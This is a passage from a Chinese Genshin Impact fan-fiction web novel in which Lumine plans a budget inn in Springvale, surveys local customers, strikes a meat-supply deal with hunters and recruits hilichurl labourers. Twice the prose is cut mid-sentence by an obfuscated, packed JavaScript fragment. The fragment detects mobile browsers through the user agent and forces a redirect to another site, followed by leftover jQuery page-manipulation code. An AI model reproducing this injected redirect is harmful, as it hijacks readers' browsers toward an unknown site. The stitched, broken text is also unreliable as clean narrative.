艾伦开始飞快地画图："明白！我会考虑丘丘人的身高和活动空间！" 温迪在旁边笑："那你们只需要找包工头施工就行了。" 荧："对。这样成本能降不少。" 温迪："那我带你去工匠协会。" 他们去了工匠协会，荧找到几个建筑工人。 荧："我要在清泉镇入口建个客栈。已经有设计图了，你们只负责施工。" 工头看了看艾伦画的草图："有设计图的话，我们只负责施工，那就简单了。" 荧："材料和部分人工我也能出。木材、石料我自己解决，搬运、打地基这些简单活，我也能找人。你们只负责技术活，比如砌墙、搭梁、装修。" 工头想了想："那材料你全包？" 荧："对。" 工头："人工你也出一部分？" 荧："搬运工和小工我都能找到。" 工头掰着手指头算了算，嘴里念念有词："那只要6500摩拉。但你得保证材料质量，还有小工要听我们指挥。" 荧："没问题。材料我保证质量，小工也会听话。一个月能完工吗？" 工头："可以。6500摩拉，一个月完工。" 荧："成交。" 派蒙小声问："荧，你去哪找小工？" 荧看了看初号机："让初号机去招募本地丘丘人。搬木头、搬石头，它们最擅长了。" 派蒙："对哦！" 初号机："呀呀！"（交给我！） 艾伦激动地记录："丘丘人不仅能做服务员，还能做建筑工！这太有研究价值了！" 荧："只要能干活，都不浪费。" 她和工头签了合同，付了定金2500摩拉。 回到猫尾酒馆，荧把派蒙、初号机、艾伦叫到房间。 荧："我们现在有了土地和设计，也找到了建筑工人。接下来一个月要做这些事。" 她拿出纸笔，开始列计划。 荧："建房子的事，我每周去工地看一次，确保进度和质量。" 派蒙："我也去！" 荧："然后是招募员工。蒙德这边得招本地丘丘人。" 艾伦："我可以帮忙！丘丘人语言研究协会有很多关于蒙德丘丘人的资料！" 荧："好。艾伦你负责找本地丘丘人，筛选性格温和、能训练的。" 艾伦激动地点头："没问题！" 荧："物资采购，家具、餐具、床铺、食材，这些都要提前准备。" 派蒙："这个我能帮忙！" 荧："还有宣传。客栈建好之前，要先把名气做出去。" 她看向初号机："初号机，你在蒙德城走一走，让大家知道璃月的丘丘人工会要在清泉镇开客栈了。" 初号机："呀呀！" 荧继续写："和蒙德城的商人建立联系也很重要。以后要采购食材和物资，得有稳定的供应商。找到本地丘丘人后，要训练它们礼仪、清洁、服务。这个和璃月一样，需要两周时间。" 艾伦："我可以协助培训！而且这是研究丘丘人语言的好机会！" 荧："那就拜托你了。" 她把计划贴在墙上。 荧："好了。明天开始执行。" 派蒙："荧，你累不累？" 荧："还好。" 她走到桌边，拿出纸笔。 派蒙："荧，你要写什么？" 荧："给香菱写封信，问问璃月那边的情况。" 派蒙："哦对！我们都好几天没联系了！" 荧开始写信： "香菱： 我在蒙德这边找到了店铺位置，不过不是租的，是向西风骑士团申请的土地，准备自己建。一个月后客栈应该能建好。 你那边怎么样？客栈有没有出什么问题？二号机、三号机它们听话吗？账记得清楚吗？钟离先生教的那套记账法用得怎么样？ 还有，最近璃月港那边气氛如何？送仙典仪的事有什么新消息吗？ 另外，帮我从账上取1万摩拉，找个可靠的镖局寄到蒙德来。这边建客栈需要用钱，你自己留够运营资金就行。 有事随时写信给我。 荧" 21.市场调研 第二天，荧听说韦恩租下了清泉镇中心的那个店铺。 派蒙："荧，韦恩真的租了那个有问题的店铺！" 荧："嗯。" 派蒙："他不怕产权纠纷吗？" 荧："他背后是愚人众，可能有办法处理。" 派蒙："那我们要不要..." 荧："不用管他。我们有自己的事。" 她心里略有警惕。 不知道愚人众想在清泉镇搞什么。 但现在不是关心这个的时候。 自己的客栈还没建起来，得专心把事办好。 荧从艾伦那拿到初步的设计草图。 艾伦："荧小姐，这是我的初步设计。两层楼，十个房间，大堂在一楼，厨房在后面。" 荧看着草图，心里开始盘算。 既然是做客栈，就要有格调。 望舒客栈虽然在璃月，但那是千年历史的地方，有底蕴。 蒙德这边的客栈，也不能太差。 荧："艾伦，能不能把设计做得精致一点？比如房间的装饰，大堂的布局。" 艾伦推了推眼镜："荧小姐想做高端客栈？" 荧："对。我们不能只追求便宜，要有品质。" 派蒙飘过来看了看草图："荧，这里是蒙德，不是璃月啊。" 荧："怎么了？" 派蒙："蒙德的客人和璃月不一样吧？" 荧："客人就是客人，难道蒙德人不喜欢舒适的环境？" 派蒙："可是" 艾伦："要不，我们先去调研一下市场？看看清泉镇这边的客人都是什么人，他们需要什么？" 荧想了想："也好，先听听客人怎么说。" 正说着，迪奥娜从门口走进来。 迪奥娜："荧，你们要在这住到什么时候？" 荧："怎么了？" 迪奥娜："猫尾酒馆的房间挺贵的，你们一直住着，花费不小吧？" 荧掰着手指算了算。 猫尾酒馆一晚500摩拉，她们已经住了好几天了。 客栈施工要一个月，如果一直住这里，光住宿就要1万5。 太贵了。 荧："确实。我得换个地方。" 派蒙："换哪？" 荧："去找琴。" 派蒙一愣："找代理团长？" 荧："我是西风骑士团的荣誉骑士，借个地方住应该没问题。" 派蒙："哦对哦！荧你终于想起来你是荣誉骑士了！" 荧："我一直记得。" 派蒙："那你怎么这么久都没去找琴报到？" 荧："忙。再说了，我们不是刚去骑士团申请了地儿嘛~" 经过派蒙的提醒，荧瞬间捂住胸口肉痛起来：昨天竟然忘了问能不能用荣誉骑士的头衔打折！心痛 ing~~~ 她们去西风骑士团总部。 琴正在办公室处理文件。 看到荧，琴站起来："荣誉骑士，好久不见。" 荧："琴，想麻烦你件事。" 琴:"请说。" 荧:"我在清泉镇建客栈，施工期间需要在蒙德住一个月。猫尾酒馆的费用有点高，骑士团能不能借个房间给我？" 琴想了想："可以。骑士团有一些空房间，平时用来给外来的骑士住。荣誉骑士当然可以用。" 荧："那真是帮大忙了。" 琴："不客气。我让人带你去看房间。" 一个年轻骑士带荧去骑士团宿舍区。 房间不大，但很干净。 一张床，一张桌子，一个柜子。 年轻骑士："荣誉骑士，您觉得怎么样？" 荧："挺好的，简单实用。" 年轻骑士："不客气。有什么需要随时找我。" 他离开了。 派蒙飘在房间里转了一圈："虽然简单，但比猫尾酒馆便宜多了！" 荧："而且离骑士团近，办事方便。" 她把行李放下。 派蒙："荧，接下来我们干什么？" 荧："去冒险家协会。" 派蒙："咦？去那干嘛？" 荧："我们之前在蒙德的时候有去冒险家协会注册吧？好像一次都没去过冒险家协会。" 按理说主线应该有，就是不知道现实里冒险家协会和游戏有什么不同，要知道富人的冒险家协会可以让人薅百万摩拉！如果和游戏一样，那瞬间还款致富不是梦！哪怕是有声望任务也是血赚！ 派蒙眼睛一亮："对哦！我们的任务奖励还没领呢！" 荧："嗯。而且现在要建客栈，钱不够。得想办法挣点。" 她们去冒险家协会。 凯瑟琳看到荧，露出标准的职业微笑："荣誉骑士！好久不见！" 荧："凯瑟琳，我想问一下，我之前做的委托任务，奖励还能领吗？" 凯瑟琳："当然可以！不过" 她查了查记录。 凯瑟琳："荣誉骑士，您的账户里没有未领取的奖励。" 荧愣了一下："等等，我之前做过不少任务，怎么会没有奖励？" 凯瑟琳："冒险家协会的规定，只有完成并交付委托任务，才能获得奖励。如果没有交付，就不算完成，也就没有奖励。" 荧沉默了几秒。 派蒙："啊？这样啊？" 荧心里吐槽：和游戏完全不一样。游戏里做完任务自动领奖励，现实里还得手动交付？ 凯瑟琳："不过荣誉骑士可以接新的委托任务。每个日常委托完成后，可以获得900摩拉。" 派蒙："900摩拉！积少成多也不错！" 荧："有什么任务？" 凯瑟琳拿出一个委托板。 上面贴着几张委托单。 凯瑟琳："这些都是蒙德地区的日常委托。" 荧看了看。 "清理史莱姆巢穴"、"击败丘丘人营地"、"讨伐深渊法师"。 全是打怪的，一个声望任务也没有。 荧皱眉。 她现在没有元素之力，打这些魔物就是送人头。 派蒙也看出来了："荧，这些任务你做不了吧？" 荧："嗯。" 她继续翻。 终于看到几个不用打怪的。 "采集塞西莉亚花×12"、"收集蒲公英种子×20"、"送信到清泉镇"。 荧："这些可以。" 凯瑟琳："荣誉骑士要接这些委托吗？" 荧："我先接采集塞西莉亚花和蒲公英种子。" 凯瑟琳："好的。" 她登记了任务。 凯瑟琳："塞西莉亚花在星落湖周围比较多，蒲公英种子在蒙德城外就有。完成后记得回来交付。" 荧："明白。" 派蒙："荧，我们现在就去采花吗？" 荧："不急。先去调研一下市场。" 派蒙："哦对！差点忘了！" 她们离开冒险家协会，往星落湖方向走。 蒙德城的下午阳光温暖，出城的人不多。 在经过护城河的桥上遇到一群鸽子。 派蒙："咦，蒙德的鸽子好多啊。" 荧："嗯。" 派蒙飘过去想摸一只鸽子。 那只鸽子突然转头，冲着派蒙"咕咕"叫了一声。 派蒙吓了一跳："哇！" 然后一群鸽子全都扑过来。 派蒙惊叫："荧救命！" 她在空中乱飞，鸽子在后面追。 荧走过去，挥手赶走鸽子。 派蒙躲在荧身后："蒙德的鸽子怎么这么凶！" 荧："可能是野生的，有攻击性。" 派蒙："太可怕了！" 初号机也好奇地看着鸽子。 它走过去，想抓一只。 鸽子立刻围攻它。 初号机被啄得"呀呀呀"乱叫，抱着头蹲下。 派蒙："初号机也被欺负了！" 荧赶走鸽子，让初号机站起来。 她看着满地的鸽子，突然想到什么。 荧："这么多鸽子。" 派蒙："怎么了？" 荧："可以做成料理。" 派蒙："啊？荧你想吃鸽子？" 荧："不是我吃。是卖给客人。" 派蒙："卖给客人？" 荧："清泉镇附近有很多猎人和冒险者，鸽子肉刚好是个无本买卖。" 派蒙看了看初号机："可是初号机刚才也被鸽子欺负了，让它去抓鸽子，会不会太为难它了？" 荧也看了看初号机，想了想："也对。那就雇人抓吧。反正蒙德不缺猎人。" 派蒙："对哦！猎人有弓箭，抓鸽子应该很容易！" 荧："先去调研市场。抓鸽子的事晚点再说。" 她们继续往清泉镇走。 到了清泉镇，荧开始寻找调研对象。 第一个是个猎人。 他背着弓箭，腰上挂着几只野兔。 荧走过去："你好，能打扰一下吗？" 猎人："什么事？" 荧："我想问一下，你平时住客栈吗？" 猎人："偶尔住。" 荧："你觉得客栈应该有什么？" 猎人想了想："能睡觉就行。" 荧："对环境有要求吗？比如装饰、布置。" 猎人："那些没用。我要的是便宜、干净、安全。" 荧："吃的呢？" 猎人："最好有。我自己打的猎物可以拿去厨房加工，省得自己烤。" 荧："明白了。谢谢。" 猎人点头，走了。 派蒙："荧，他说要便宜。" 荧："我听到了。" 她们继续找。 第二个也是猎人。 荧："你好，能问你几个问题吗？" 猎人："什么问题？" 荧："你觉得客栈最重要的是什么？" 猎人："便宜。" 荧："除了便宜呢？" 猎人："能吃饱。我们打猎很累，需要吃得好。" 荧："对客栈的装饰有要求吗？" 猎人一愣："装饰？那能当饭吃吗？" 派蒙忍不住笑。 荧："明白了。谢谢。" 第三个是个冒险者。 他穿着冒险家协会的制服，背着大剑。 荧："你好，能打扰一下吗？" 冒险者："有事？" 荧："我在做市场调研。你平时住客栈吗？" 冒险者："住啊。出任务在外面，总要找地方睡。" 荧："你觉得客栈应该有什么？" 冒险者："床要结实，不能塌。我之前住过一家客栈，床太软，睡了一晚腰疼。" 荧："还有呢？" 冒险者："最好有修理装备的地方。我的大剑经常磨损，需要维护。" 荧："对价格有要求吗？" 冒险者："当然！越便宜越好！我们冒险者赚钱不容易，能省就省。" 荧："明白了。谢谢。" 冒险者："不客气。" 第四个也是冒险者。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076537|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是个女孩，看起来很年轻。 荧："你好，能问你几个问题吗？" 女冒险者："可以啊。" 荧："你觉得客栈最重要的是什么？" 女冒险者："安全！" 荧："安全？" 女冒险者："对。我是女孩子，一个人住客栈，最怕不安全。有些客栈管理不好，什么人都能进来。" 荧："还有呢？" 女冒险者："便宜。还有热水，我喜欢洗澡。" 荧："对客栈的装饰有要求吗？" 女冒险者："没有。只要干净就行。" 荧："明白了。谢谢。" 第五个是个酒鬼。 他坐在路边，手里拿着酒瓶。 荧走过去："你好。" 酒鬼抬头："干嘛？" 荧："能问你几个问题吗？" 酒鬼："问吧。" 荧："你住过客栈吗？" 酒鬼："住过。" 荧："你觉得客栈应该有什么？" 酒鬼："酒。" 荧："酒？" 酒鬼："对。有酒就是好客栈。" 荧："还有呢？" 酒鬼："便宜点。我的钱都拿去买酒了，住宿不能太贵。" 荧："对环境有要求吗？" 酒鬼："没有。只要有地方睡，有酒喝，就行。" 荧："明白了。谢谢。" 酒鬼摆摆手，继续喝酒。 荧和派蒙走到路边，坐下来总结。 派蒙："荧，你发现了吗？" 荧："发现什么？" 派蒙："他们说的都差不多！" 荧拿出小本子，记录刚才的调研结果。 猎人：便宜、干净、安全、能吃饱 冒险者：便宜、床结实、安全、有修理装备的地方 酒鬼：便宜、有酒 荧看着这些记录。 共同点很明显：便宜。 其他需求：吃饱、有酒、安全、实用。 没有人提到装饰、格调、高端。 荧沉默了几秒，合上小本子。 派蒙："荧，你看吧。清泉镇这边的客人，要的不是高端客栈。" 荧："你说得对。" 派蒙："所以我们应该做平价客栈！" 荧："嗯。" 她重新翻开本子，在记录旁边写下几个关键词：便宜、实用、食物。 平价客栈，主打便宜、实用。 房间简单，但干净安全。 提供食物，价格实惠。 可以卖鸽子料理，成本低，利润还不错。 还可以提供送信服务，反正清泉镇到蒙德城的路经常要走。 荧："我想好了。" 派蒙："想好什么？" 荧："客栈的定位。300摩拉一晚，不提供餐食，但可以在客栈买食物。主要卖便宜的料理，比如鸽子肉、面包、汤。" 派蒙："300摩拉一晚？好便宜！" 荧："对。便宜才有竞争力。" 派蒙："那我们还能赚钱吗？" 荧："能。薄利多销。而且我们还可以提供其他服务，比如送信。清泉镇到蒙德城，收10摩拉一次。" 派蒙："哦！这个主意不错！" 荧："还有鸽子。我们可以雇猎人抓鸽子，圈养起来，做成料理卖。客栈后院可以搭个鸽棚，鸽子肉便宜，客人喜欢。" 派蒙："对哦！猎人有弓箭，抓鸽子肯定比初号机容易！" 荧："这叫物尽其用。" 她站起来："走，回去找艾伦。得让他重新设计。" 派蒙："重新设计？" 荧："嗯，高端路线在这里行不通。我们得做平价客栈，设计也要跟着调整。" 她们回到骑士团。 艾伦的房间窗户开着，桌上摆满了设计草图和工具。 艾伦正蹙眉盯着草图，手里的炭笔在纸上反复勾勒，还在房间里画图。 荧："艾伦，刚才的市场调研给了我新想法——我们换个方向吧。" 艾伦抬头："怎么了？" 荧："不做高端了。清泉镇这边更需要平价客栈。" 艾伦一愣："平价？" 荧："对。我刚才去调研了，清泉镇这边的客人要的是便宜、实用。高端路线不适合。" 艾伦："那我重新设计。" 荧："房间要简单，但干净。不需要豪华装饰，但要结实。床要硬一点，冒险者喜欢硬床。" 艾伦记录："明白。还有呢？" 荧："大堂要大，能放很多桌椅。我们主要靠卖食物赚钱，所以大堂要像食堂一样。" 艾伦："好的。" 荧："厨房也要大一点。我们会做很多料理。还有后院，要留出空地搭鸽棚。" 艾伦："明白。我重新设计。" 荧："麻烦你了。" 艾伦："不客气。" 派蒙："荧，我们接下来干什么？" 荧："去采花。" 派蒙："采花？" 荧："冒险家协会的任务。采塞西莉亚花和蒲公英种子。" 派蒙："哦对！差点忘了！一个任务900摩拉！" 荧："对。完成任务能拿钱，还要找猎人谈谈抓鸽子的价格。" 派蒙："那我们快去吧！" 荧揉了揉发酸的手腕，看向派蒙："明天，明天一早再去星落湖，争取一天把任务做完。今天，还是先休息吧！我是正常人类，精力有限。" 求放过~~QAQ 22.猎人盲盒 荧坐在骑士团宿舍的桌前发呆。 手上的钱还是不够。 从韦恩那敲来的5000，还没捂热就付了住宿费和工地定金。现在手头只剩两万出头，等香菱那边把1万摩拉寄过来，也就三万多。 建客栈还要4000尾款，家具软装至少5000，再留点流动资金防止出意外…… 妈的，怎么算都觉得紧张。 正想着怎么再薅点羊毛，门外传来守门骑士的声音。 守门骑士："小朋友，你说你是从璃月来的？" 小女孩："瑶瑶是来送信的！香菱师姐让我给荧姐姐送信！" 荧听到"璃月""香菱"，冲出门。 就看到一个扎着双马尾的小萝莉，背着个比她还大的旅行包。 瑶瑶。 免费劳动力送上门了。 荧立刻堆起笑容："瑶瑶！你怎么来了？" 瑶瑶看到荧，开心地跑过来："荧姐姐！香菱师姐让我送信和钱！" 她从包里掏出一个厚厚的信封和一个沉甸甸的钱袋。 荧接过钱袋，第一时间掂了掂分量—— 嗯，手感不错，应该确实是1万摩拉。 她打开信。 香菱的字依然是那个龙飞凤舞的鬼画符风格，一看就知道是边炒菜边写的。 "荧： 收到你的信了！ 璃月这边一切正常。望舒客栈现在已经走上正轨，二号机三号机它们很听话，账记得也清楚。钟离先生教的那套记账法真的好用，现在我都不用担心账目出错了。 送仙典仪已经办完了。钟离先生主持的，仪式搞得很隆重。璃月港那些老头子们都挺满意的。虽然也有人说这说那的，但大体上算是过关了。 你要的1万摩拉我让瑶瑶带过去了。最近客栈收入不错，把你之前预留的2万摩拉给你一半也还有将近2万摩拉可做运营资金，够用。 对了，说到开客栈，我最近试了个新玩法！ 在望舒搞了个"今日特餐"——每天根据最新鲜的食材做一道特别菜，价格固定但内容随机。客人付钱之前不知道会吃到什么，就像开盲盒。 这玩意儿意外地火！璃月港那些商人特别喜欢这种惊喜感，每天都来试运气。有人抽到顶级食材，爽得不行；有人抽到家常菜，虽然失望但也觉得新鲜。 最关键的是——我可以根据当天进货灵活调整，食材不浪费，利润反而更高！ 你在蒙德不是说要开客栈吗？清泉镇那边不是很多猎人？可以让他们把猎物交给你做成料理，价格固定，内容随机。猎人们应该会喜欢"自己打的猎物变成什么菜"这种新鲜感。 还有，卯师傅说如果你在蒙德遇到料理问题可以随时写信问他。 有事说一声！ 香菱" 信里还夹着一张手绘菜单，上面画着"猎人盲盒套餐"的创意方案。 荧看完信，心里开始飞速运转。 盲盒模式... 这思路好啊！ 猎人每天打到的猎物不固定，如果按正常菜单做，食材浪费率会很高。 但如果搞盲盒，就可以根据当天收到的猎物灵活调整—— 今天野猪多就做红烧肉，明天野兔多就炖汤，后天山鸡多就做炒菜。 食材零浪费，定价还能统一，省得天天改菜单。 而且"盲盒"这个概念本身就自带话题性，能吸引猎人们来尝鲜。 不愧是做餐饮的，这商业头脑真行。 荧把信收好，看向瑶瑶。 小萝莉正乖乖站在旁边，一脸期待地看着她。 荧顿了顿—— 等等。 这小孩既然能从璃月跑到蒙德送信，说明路上肯定没出事。 体力够，方向感也不错。 而且她还是香菱的师妹，应该也会点料理知识。 最关键的是—— 她现在人在蒙德，回璃月还得走好几天，这期间完全可以白嫖！ 荧立刻换上亲切的笑容："瑶瑶，你辛苦了！从璃月跑这么远，累了吧？" 瑶瑶摇头："不累！瑶瑶经常跑长途送东西！" 荧："那你什么时候回璃月？" 瑶瑶想了想："师姐说让我送完信就回去,但是月海亭那边工作不急，我可以多待两天再走。" 荧盯着她看。 机会来了！ 荧："那正好！我今天要去采塞西莉亚花和蒲公英种子，你能帮个忙吗？" 瑶瑶立刻点头："可以啊！瑶瑶最喜欢采花了！" 派蒙飘过来小声说："荧，你不会又想白嫖劳动力吧?" 荧面不改色："什么叫白嫖？这叫互助。" 她转头对瑶瑶说："那走吧！顺便带你看看蒙德的风景！" 瑶瑶开心地跟了上来。 初号机也跟在后面，三个人（一个丘丘人）浩浩荡荡往星落湖走。 路上，荧边走边琢磨。 有瑶瑶帮忙采花，效率能提高一倍。 而且她是璃月人，肯定会做点璃月菜式。到时候客栈开业，还能让她帮忙培训厨房员工! 不对，她很快就要回璃月了。 那就让她在走之前多干点活，把能榨的价值都榨干。 派蒙看着荧的表情，忍不住说："荧，你这个眼神好可怕~~" 荧："有吗？" 派蒙："有！就是那种看到猎物的眼神！" 荧："胡说。我这是欣慰。" 一群人就这样有说有笑的来到星落湖，湖边开满了塞西莉亚花，白色花瓣在晨光下很漂亮。 瑶瑶立刻蹦蹦跳跳跑过去："哇！好多花！" 荧："采12朵就够了。记得从根部掐断，别扯断花茎。" 瑶瑶："好！" 她动作利落地开始采花。 荧也跟着采。 有瑶瑶帮忙，采花速度果然快了很多。 十分钟不到就采够了12朵。 荧满意地点头："效率不错。接下来去蒙德城外采蒲公英种子。" 正准备走，湖面突然冒出几个泡泡。 一只圆滚滚的风史莱姆从水里飘了出来。 它晃晃悠悠飘到荧面前，好奇地看着她手里的花。 派蒙："史莱姆！" 荧往后退了一步，观察这只史莱姆。 没有攻击性。 只是好奇。 她想起望舒客栈地窖里那群史莱姆—— 当初也是这样无害地住在地窖里，后来成了"史莱姆抚摸区"的主力员工，每天光抚摸券就能赚好几百摩拉。 荧盯着这只风史莱姆，眼睛微微眯起。 蒙德这边如果也搞个史莱姆抚摸区~~ 风史莱姆比水史莱姆更稀有，摸起来手感应该也不一样，而且说不定还能有其他隐藏价值，比如帮忙吹干餐具、食材，省不少柴火。 说不定能收更高的价钱。 荧从包里掏出一小块面包，递给史莱姆。 史莱姆凑过来，把面包吸进体内。 荧:"跟我回去。" 史莱姆晃了晃，好像同意了。 派蒙："荧，你又捡员工了!" 荧："废话，不要白不要。反正养史莱姆不花钱。" 瑶瑶好奇地看着史莱姆:"这个也能养吗？" 荧："能。而且很赚钱。" 她继续往蒙德城外走。 路上瑶瑶一直缠着她问东问西。 瑶瑶："荧姐姐，你在蒙德开客栈吗？" 荧："嗯。" 瑶瑶："那你会做菜吗？" 荧："...不会。" 瑶瑶："那谁做菜？" 荧："雇厨子。" 瑶瑶："那你会管账吗？" 荧："会。" 瑶瑶："那你会打扫吗？" 荧："...也不会。" 瑶瑶歪着头："那荧姐姐你会什么？" 荧面无表情："会赚钱。" 派蒙在旁边憋笑。 她们来到蒙德城外，开始采蒲公英种子。 瑶瑶动作很熟练，显然平时没少干这种活。 荧边采边想接下来的安排。 有瑶瑶在，可以让她多干点活—— 比如帮忙跑腿送信、去工地监工、或者去清泉镇帮忙谈判。 对了，清泉镇那边的猎人谈判，可以让瑶瑶帮忙试菜。 璃月来的厨师学徒，肯定比蒙德本地人更懂怎么做好吃的菜。 这样猎人们会更相信她的"盲盒套餐"。 荧越想越觉得这个计划完美。 采够20份蒲公英种子后，她们回冒险家协会交任务。 凯瑟琳验收了材料，递过1800摩拉。 凯瑟琳："荣誉骑士，任务完成。" 荧接过钱袋，心情不错。 账上又多了1800摩拉。 加上香菱寄来的1万，扣掉住宿和定金，现在手上正好34,800摩拉。 派蒙："荧，接下来去哪？" 荧："去清泉镇。找猎人谈生意。" 瑶瑶:"我也去！" 荧看了她一眼："行。正好让你帮个忙。" 她们来到清泉镇。 镇上的猎人正聚在酒馆门口聊天。 荧扫了一眼酒馆，看到门口停着一辆华丽的马车，车厢上印着北国银行的标志。 上次来清泉镇，也看到过类似的马车。 璃月那边北国银行就跟愚人众关系密切，蒙德这边估计也一样。 荧皱了皱眉，但没多想，径直走向猎人们。 荧："各位，想跟你们谈个生意。" 一个叫布伦的猎人抬头："什么生意？" 荧："我在建客栈，需要稳定的肉食供应。你们每天打猎，能把猎物卖给我吗？" 猎人们互相看了看。 布伦："可以啊。你出什么价？" 荧在心里飞速计算。 蒙德城的市场价：野猪80摩拉，野兔50摩拉，山鸡60摩拉。 但猎人如果拿去城里卖，要走半天路，还不一定卖得掉。 而且他们打猎主要是为了自己吃，剩下的才拿去卖。 所以她可以压价。 荧："野猪50摩拉一只，野兔30摩拉，山鸡40摩拉。新鲜的、当天打到的，我全收。" 另一个猎人皱眉："这价格也太低了吧？我们拿去城里能卖更高。" 荧："但你们拿去城里要走半天路，还不一定卖得掉。而且你们每天打的猎物能有多少？三只？五只？就算全卖掉也就两三百摩拉。" 她顿了顿："我这里是稳定收购，每天都要。你们不用跑城里，直接在清泉镇就能卖掉。省时省力。" 布伦想了想："那倒也是。" 荧继续加码："而且你们可以在我客栈吃饭、住宿。住宿300摩拉一晚，比城里便宜200。吃饭的话~~" 她拿出香菱的手绘菜单。 荧："我可以搞个特别的套餐。你们把猎物交给我，我做成料理，100摩拉一份。至于做成什么菜，看当天食材，随机的。" 她顿了顿："对了，你们如果要往蒙德城送信，我这边也有服务。清泉镇到蒙德城，10摩拉一次，保证送到。" 另一个猎人笑了："这倒是方便！我们每次进城送信都麻烦！" 布伦："等等，你的意思是，我们交猎物，你做菜，但我们不知道会吃到什么？" 荧："对。就像开盲盒。可能是烤肉，可能是炖汤，可能是炒菜。保证做得好吃，但内容随机。" 另一个猎人笑了："这听起来挺有意思啊！" 布伦："那我们自己打的野猪，交给你做成菜，还要付100摩拉？" 荧："不是。如果你用自己打的猎物换套餐，我只收50摩拉加工费。如果你直接买套餐，不交猎物，那就100摩拉。" 派蒙小声说："荧，你这算盘打得可真精!" 荧心里算着: 如果猎人用猎物换套餐，她收50摩拉加工费。 假设一只野猪能做3份套餐，那就是150摩拉。 扣掉收购野猪的50摩拉成本，净赚100摩拉。 而且猎物是猎人送上门的，连采购成本都省了。 完美。 布伦考虑了一下："行，听起来不错。我们可以试试。" 荧:"那就这么说定了。客栈一个月后开业，到时候你们把猎物送过来。" 她转头对瑶瑶说："瑶瑶，你会做璃月菜吧？" 瑶瑶点头:"会啊！师姐教过我！" 荧："那你给大家展示一下。让他们看看璃月厨师的手艺。" 瑶瑶立刻来了精神："好！" 她从包里掏出一个小炉子和调料。 瑶瑶："谁有野兔？借我一只！" 一个猎人递过来一只刚打到的野兔。 瑶瑶动作利落地处理野兔，去皮、清洗、切块。 然后架起小炉子，烧水下料。 荧在旁边继续和猎人们敲定收购时间、交货地点，瑶瑶那边的野兔汤香味已经慢悠悠飘了过来，勾得几个猎人频频侧目。 半小时后，一锅香气扑鼻的野兔汤端上来。 猎人们围过来闻。 布伦："这味道……好香啊！" 瑶瑶把汤盛出来："大家尝尝！" 猎人们喝了一口，神色变了。 布伦："这手艺绝了！比我们自己做的好吃多了！" 另一个猎人："如果客栈的菜都是这个水平，我天天来吃！" 荧点点头。 瑶瑶这小工具人用得值。 她趁热打铁："所以，愿意合作吗？" 猎人们纷纷点头。 布伦："成交！" 荧和他们一一握手。 肉食供应的问题解决了。 而且"猎人盲盒套餐"这个概念，应该能吸引不少猎人来尝鲜。 离开酒馆，荧带着瑶瑶和派蒙去工地。 工头正在指挥工人砌墙。 工头看到荧:"荧小姐！来得正好！" 荧："怎么了？" 工头："木材和石料的事，我想确认一下。按照艾伦先生的设计，需要大量木材和石料。如果从城里运，成本会很高。" 荧打断他："我知道。所以我打算让丘丘人去野外采集。" 工头一愣："丘丘人？" 荧："对。我会找本地的丘丘人部落，让它们帮忙采集。你们只管施工，材料我来负责。" 工头犹豫："这——能行吗？" 荧："我在璃月就是这么干的。丘丘人很能干，而且成本低。" 准确说是零成本。 因为丘丘人的工资是食物，不是摩拉。 而食物她可以用猎人送来的猎物做，几乎没有额外成本。 这就是劳动力套利。 工头看她信心满满，点了点头："那好吧。我们大概三天后开始用木材，五天后开始用石料。" 荧："没问题。" 她转身对初号机说："去找艾伦，让他带你找本地丘丘人部落。" 初号机："苦茶！"（明白！） 它跑去骑士团。 荧在工地转了一圈，检查地基和墙体。 进度正常。 工人们干得还算认真。 荧："继续加油。过几天我再来。" 工头："好的！" 回到骑士团，艾伦和初号机已经在等她了。 艾伦激动地说："荧小姐！初号机说你要找丘丘人！" 荧："对。我需要雇几个丘丘人采集木材和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079868|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石料。你能帮我找到合适的部落吗？" 艾伦："当然可以！我早就想和蒙德本地的丘丘人交流了！根据我的研究，清泉镇周围有三个部落，其中一个比较温和！" 荧："走吧。" 艾伦带着她们往清泉镇外走。 走了半小时，来到一片树林。 树林里有个小营地，几个丘丘人围着篝火。 艾伦小声说:"就是这里。荧小姐，你会丘丘人语吗？" 荧："会一点。" 她走上前，用丘丘人语喊道："姆西米塔，喔多姆！"（你好朋友！） 丘丘人们抬头，看到初号机，立刻放松戒备。 一个年长的丘丘人站起来："喔多姆？姆西？"（朋友？要什么？） 荧："库兹，姆西古沙。"（工作，很好。） 她指着初号机："呜努米塔。库兹哒哒，呀呀哟哟。"（它是朋友。认真干活，有很多食物。） 年长丘丘人想了想："库兹姆西？呀呀哟哟？"（什么工作？有吃的吗？） 荧："乌帕库兹。拉塔库兹，呀呀哟哟。"（砍树干活。每天干活，有食物。） 年长丘丘人转头和其他丘丘人叽叽咕咕商量了一阵。 然后转回来："姆西，库兹呀呀。呜努？"（好，我们干。要几个人？） 荧比了个手势。 年长丘丘人点头："呀呀！"（可以！） 荧从包里掏出一块肉干："哟哟，米塔。"（食物，给你。） 年长丘丘人接过肉干，闻了闻，点点头。 荧："古沙哒哒。拉塔库兹，乌帕。呀呀，哟哟。"（很好。每天干活砍树。然后，有食物。） 她转身对年长丘丘人说："贝鲁，米塔库兹。塞利拉塔。"（明天，来干活。太阳升起。） 年长丘丘人："苦茶！贝鲁呀呀！"（知道了！明天来！） 艾伦在旁边激动得快跳起来："天啊！荧小姐，你的丘丘人语太厉害了！" 